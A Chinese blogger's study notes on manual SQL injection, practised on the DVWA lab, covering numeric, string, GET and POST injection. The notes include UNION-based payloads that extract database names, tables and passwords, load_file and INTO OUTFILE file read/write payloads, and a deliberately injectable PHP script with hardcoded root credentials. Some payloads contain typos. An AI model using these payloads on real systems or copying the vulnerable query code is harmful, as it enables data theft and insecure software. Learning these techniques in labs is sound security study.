前言:

继续进行未完成的sql注入学习

今天学习了各类型注入。前来进行总结。

目录:

数字型注入

字符型注入

提交注注入

GET注入

POST注入

COOKIE注入

正文:

数字型注入:www.xxxx.com?/xx.php?id=1 and 1=1
可以直接注入不需要闭合单引号.
sql执行出的语句:select * from user where id=1 and 1=1
 
 
需要闭合注入,否则注入语句都会变为字符串
sql执行出的语句:select * from where frit_name='lis'
 
 
 
判断是否为字符型注入: DVWA为例子
输入1返回正确

输入1'返回错误

 
 
由此可以判断出为字符型注入
尝试猜字段
1' order by 1 #

1' order by 1,2 #

1' order by 1,2,3 #,报错,字段为2
爆显位
1' union select 1,2 #
获取数据库名,1' union select database(),2 #
用户名 1' union select user(),2 #  root权限
数据库版本 1' union select vsersion(),2 #
猜解所有表名 1' union select table_name,2 from information_schema.tables #
猜解所有字段名 1' union select column_name,2 from information_columns #
读取文件= =读不出来蛮尴尬的。
1' union select load_file('xxx'),2 #

写入文件的语句

1' union select 'xxxxx' into outfile 'xxx.txt' #

GET注入:

GET注入,顾名思义GET。只要注入的时候

用GET的方式提交就好。

and 1=1

and 1=2

order by 1,2,3

union select database(),version(),user()

union select table_name,2,3 from information_schema where table_schema=HEX #指定数据库的HEX编码

union select column_name,2,3 from informtaion_schema where table_name=HEX #指定数据库的HEX编码

union select 指定字段名 from 指定表名 例:union select username,password from user

POST注入:

提交方式用POST方式提交

POST.html代码

<html>
<head>
<title>POST注入</title>
</head>
<body>
<div style="color:blue;text-align:center">
<h2>POST注入尝试</h2>
<form action="sqlin.php" method="POST">
<input type="text" name="x">
<input type="submit" value="提交">
</form>
</div>
</body>
</html>

  

sqllin.php代码

//fendo数据库root用户连接mysql数据库,操作user表
<?
$id= $_POST['x'];//接受get传递的参数名x的值并赋值给变量id
$conn = mysql_connect('127.0.0.1','root','root');//连接mysql数据库
mysql_select_db('fendo',$conn);//选择$conn连接请求下的test数据库名
$sql = "select * from user where id=$id";//定义sql语句并组合变量id
$result = mysql_query($sql);//执行sql语句并返回给变量result
while($row = mysql_fetch_array($result)){//遍历数组数据并显示
echo "ID".$row['id']."</br>";
echo "用户名".$row['username']."</br>";
echo "密码".$row['password']."</br>";
}
mysql_close($conn);//关闭数据库连接
echo "<hr>";
echo "当前语句:";
echo $sql;
?>

 尝试注入

1 and 1=1

1 and 1=2

存在注入。

猜长度

1 order by 1 #返回正常

1 order by 1,2 #返回正常

1 order by 1,2,3 #返回正常

1 order by 1,2,3,4 #返回错误

长度为3

获取数据库名,数据库版本,数据库用户

1 union select databse(),version(),user()

爆出DVWA的表

1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761

爆出DVWA下users表的字段

1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273

爆出我要的字段

1 union select username,password,3 from user

Cookie注入:

cookie注入:点我看详细注入

学习完这些后,可以画出这么一幅图

盲注目前还没学

SQL类型注入的更多相关文章

  1. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  2. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  3. 一次简单的SQL手工注入

    1. 首先要了解SQL注入的原理:   SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 具体来说,它是利 ...

  4. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  5. SQL手工注入进阶篇

    0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...

  6. Spring练习,使用Properties类型注入方式,注入MySQL数据库连接的基本信息,然后使用JDBC方式连接数据库,模拟执行业务代码后释放资源,最后在控制台输出打印结果。

    相关 知识 >>> 相关 练习 >>> 实现要求: 使用Properties类型注入方式,注入MySQL数据库连接的基本信息,然后使用JDBC方式连接数据库,模拟执 ...

  7. 在Hdsi2.0 SQL的注入部分抓包分析语句

    在Hdsi2.0 SQL的注入部分抓包分析语句 恢复cmd ;insert tb1 exec master..xp_cmdshell''net user ''-- ;exec master.dbo.s ...

  8. SQL防注入程序 v1.0

    /// ***************C#版SQL防注入程序 v1.0************ /// *使用方法: /// 一.整站防注入(推荐) /// 在Global.asax.cs中查找App ...

  9. [原创]java WEB学习笔记81:Hibernate学习之路--- 对象关系映射文件(.hbm.xml):hibernate-mapping 节点,class节点,id节点(主键生成策略),property节点,在hibernate 中 java类型 与sql类型之间的对应关系,Java 时间和日期类型的映射,Java 大对象类型 的 映射 (了解),映射组成关系

    本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...

随机推荐

  1. 漫谈Java IO之基础篇

    Java的网络编程如果不是专门搞服务器性能开发或者消息分发,几乎可能涉及不到.但是它却是面试找工作必问的一个知识点,涵盖的知识体系也非常广泛,从Java底层IO原理到操作系统内核组成,再到网络TCP. ...

  2. Nginx阻止对不明确主机名的请求

    在用户请求头中,有可能会有Host行不明确的情况,如果不想处理这类用户请求,那么可以定义一个默认的server来丢弃这类请求.例如 server{ listen default_server; ser ...

  3. APS期刊投稿准备: REVTex格式

    APS是American Physics Society的简称.旗下比较有影响力的期刊有: "pra, prb, prc, prd, pre, prl, prstab, prstper, o ...

  4. 解决Oracle登录时出现无法处理服务名问题

    1.首先找到客户端的tnsnames.ora文件,打开看看里面有没有配置相应的服务器名,服务器名就是你的数据库名: 2.如果有相应的服务器名,那就检查一下配置信息是否错误,如果没有就添加: 3.配置信 ...

  5. Git常用命令(二)------ 远程库操作

    本文总结自廖雪峰网站. Git支持多种协议,git://使用ssh协议,速度最快,也可使用https等协议. 对远程库操作: 推送: 1.先远程建立一个Repo库,f 2.远程和本地关联: git r ...

  6. Struts2学习笔记四 OGNL

    OGNL,全称为Object-Graph Navigation Language(对象图表达语言),它是一个功能强大的表达式语言,用来获取和设置Java对象的属性,调用java对象的方法,同时能够自动 ...

  7. JavaScript(第三十二天)【Ajax】

    2005年Jesse James Garrett发表了一篇文章,标题为:"Ajax:A new Approach to Web Applications".他在这篇文章里介绍了一种 ...

  8. alpha-咸鱼冲刺day1-紫仪

    总汇链接 一,合照 emmmmm.自然是没有的. 二,项目燃尽图 三,项目进展   登陆界面随意写了一下.(明天用来做测试的) 把学姐给我的模板改成了自家的个人主页界面,侧边栏啥的都弄出来了(快撒花花 ...

  9. Python多线程案例

    from time import ctime,sleep import threading def music(): for i in range(2): print ("I was lis ...

  10. bzoj千题计划251:bzoj3672: [Noi2014]购票

    http://www.lydsy.com/JudgeOnline/problem.php?id=3672 法一:线段树维护可持久化单调队列维护凸包 斜率优化DP 设dp[i] 表示i号点到根节点的最少 ...